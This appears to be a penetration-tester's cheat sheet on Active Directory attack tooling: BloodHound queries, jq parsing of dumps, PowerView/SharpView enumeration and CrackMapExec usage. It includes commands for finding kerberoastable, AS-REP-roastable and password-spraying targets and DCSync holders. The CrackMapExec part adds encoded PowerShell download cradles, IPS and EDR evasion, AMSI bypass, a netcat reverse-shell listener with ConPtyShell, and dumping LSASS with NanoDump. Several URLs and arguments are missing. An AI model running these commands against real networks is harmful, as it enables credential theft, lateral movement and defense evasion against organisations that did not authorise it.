Cypher (Neo4j)

Show percentage of collected user sessions:
# http://localhost:7474/browser/
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange
Show path to any computer from kerberoastable users:
MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Manual JSON Parsing

There're 2 global dicts in JSON files: data and meta. We care about data:
$ cat 20220604031239_users.json | jq '. | keys'
List all active user accounts:
cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true) | .samaccountname' -r
List non-empty user accounts' descriptions:
cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .description != null) | .name + " :: " + .description' -r
List user accounts whose passwords were set after their last logon (an effective list for password spraying assuming that the passwords were set by IT Desk and may be guessable):
cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .pwdlastset > .lastlogontimestamp) | .name + " :: " + (.lastlogontimestamp | tostring)' -r
List user accounts with DoesNotRequirePreAuth set (aka asreproastable):
cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .dontreqpreauth == true) | .name' -r
List user accounts with SPN(s) set (aka kerberoastable)
cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .serviceprincipalnames != []) | .name + " :: " + (.serviceprincipalnames | join(","))' -r
List computer accounts' operating system names:
cat 20220604031239_computers.json | jq '.data[].Properties | .name + " :: " + .operatingsystem' -r
Recursively list all members of a group (mimics RSAT Get-ADGroupMember, script):
$ ls
20220604043009_computers.json 20220604043009_groups.json 20220604043009_users.json
$ python3 'DOMAIN [email protected]'
Recursively list all groups which the user is a member of (mimics RSAT Get-ADUser | select memberof, script):
$ ls
20220604043009_groups.json 20220604043009_users.json
$ python3 '[email protected]'
Generate a .csv file containing AD trusts mapping to be used in TrustVisualizer (mimics PowerView Get-DomainTrustMapping, script):
$ ls
$ python3

PowerView / SharpView

Example Queries

Convert SID to name and vice versa:
PV3 > ConvertTo-SID <NAME>
PV3 > Convert-NameToSid <NAME>
PV3 > ConvertFrom-SID <SID>
PV3 > Convert-SidToName <SID>
Extract all domain user accounts into a .csv file:
PV3 > Get-DomainUser -Domain megacorp.local | select name,samAccountName,description,memberOf,whenCreated,pwdLastSet,lastLogonTimestamp,accountExpires,adminCount,userPrincipalName,servicePrincipalName,mail,userAccountControl | Export-Csv .\all-users.csv -NoTypeInformation
List domain user accounts that do not require Kerberos pre-authentication (see ASREPRoasting):
PS > .\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired -Properties samAccountName,userAccountControl,memberOf
List domain user accounts with Service Principal Names (SPNs) set (see Kerberoasting):
PS > .\SharpView.exe Get-DomainUser -SPN -Properties samAccountName,memberOf,servicePrincipalName
List domain user accounts with Kerberos unconstrained delegation enabled:
PS > .\SharpView.exe Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
List domain user accounts with Kerberos constrained delegation enabled:
PS > .\SharpView.exe Get-DomainUser -TrustedToAuth -Properties samAccountName,userAccountControl,memberOf
Search for domain user accounts which may have sensitive stored in the description field:
PV3 > Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}
Search for domain user by email:
PV3 > Get-DomainUser -LDAPFilter '([email protected])' -Properties samaccountname
Find users with DCSync right:
PV3 > $dcsync = Get-DomainObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll" -or $_.ObjectAceType -match "Replication-Get"} | select -ExpandProperty SecurityIdentifier | select -ExpandProperty value
PV3 > Convert-SidToName $dcsync
Enumerate domain computers where specific users (Identity) are members of a specific local group (LocalGroup):
PV3 > Get-DomainGPOUserLocalGroupMapping -Identity snovvcrash -LocalGroup Administrators
Extract all domain computer accounts into a .csv file:
PV3 > Get-DomainComputer -Properties dnsHostName,operatingSystem,lastLogonTimestamp,userAccountControl | Export-Csv .\all-computers.csv -NoTypeInformation
List domain computer accounts that allow Kerberos unconstrained delegation:
PS > .\SharpView.exe Get-DomainComputer -Unconstrained -Properties dnsHostName,userAccountControl
Resolve all domain computer IPs by their names:
PV3 > Get-DomainComputer -Properties name | Resolve-IPAddress
List domain computers that are part of a OU:
PV3 > Get-DomainComputer | ? { $_.DistinguishedName -match "OU=<OU_NAME>" } | select dnsHostName
List shares for WS01 computer:
PS > .\SharpView.exe Get-NetShare -ComputerName WS01
List all domain users with a 4-digit RID (eliminates default objects like 516, 519, etc.) who can edit GPOs:
PV3 > Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "<SID>-[\d]{4,10}" } | select objectDN, activeDirectoryRights, securityIdentifier | fl
Resolve GPO ObjectDN:
PV3 > Get-DomainGPO -Name "<DN>" -Properties DisplayName

{Crack,Sharp,Ps}MapExec / NetExec

CrackMapExec Mindmap
Install bleeding-edge:
$ sudo apt install python3-venv && pip3 install pipx
$ pipx install -f "git+"
$ cme
aardwolf requires Rust compiler to be also installed:
$ sudo snap install rustup --classic
$ rustup toolchain install stable
Install for debugging and development:

Execute a PowerShell command using base64 encoding on-the-fly:
$ cme smb -u snovvcrash -p 'Passw0rd!' -x "powershell -enc `echo -n 'iex(new-object net.webclient).downloadstring("");iex(new-object net.webclient).downloadstring("")' | iconv -t UTF-16LE | base64 -w0`"
Bypass network IPS restrictions:
$ sudo nmap -n -sn | grep for | awk '{print $5}' > 192.168.1
$ for ip in `cat 192.168.1`; do cme smb $ip; sleep 1; done
$ cme -t 1 --jitter 1 smb

Custom Switches

Bypass execution restrictions of EDRs monitoring for WmiPrvSE.exe misbehavior with custom switches (see dotnetassembly branch).
Get the dependencies and stuff:
$ sudo apt install mono-devel
$ git clone --single-branch -b syscalls ~/tools/donut && cd ~/tools/donut && make && sudo ln -sv `realpath donut` /usr/local/bin/donut && cd -
$ wget -O ~/.cme/donut_template.cs
$ wget -O ~/.local/pipx/venvs/crackmapexec/lib/python3.10/site-packages/cme/protocols/
Example of invoking a PowerShell module (ConPtyShell):
$ stty raw -echo; (stty size; cat) | nc -lvnp 1337
$ cme smb -u snovvcrash -p 'Passw0rd!' -x 'Invoke-ConPtyShell.ps1 Invoke-ConPtyShell 1337' --amsi-bypass amsi.ps1 --no-output
Example of executing a .NET assembly (Rubeus):
$ cme smb -u snovvcrash -p 'Passw0rd!' -x 'Seatbelt.exe -group=user' --dotnetassembly --dotnetassembly-entrypoint 'Rubeus,Program,MainString' --dotnetassembly-entrypoint-argtype string --amsi-bypass amsi.ps1 --codec cp866
Example of converting an unmanaged binary (NanoDump) to a shellcode with donut, then compiling a .NET self-injector from a template with the shellcode inside and executing it (see SharpBin2SelfInject):
$ cme smb -u snovvcrash -p 'Passw0rd!' -x 'nanodump.exe -w C:\Windows\Temp\lsass.bin' --dotnetassembly --donut
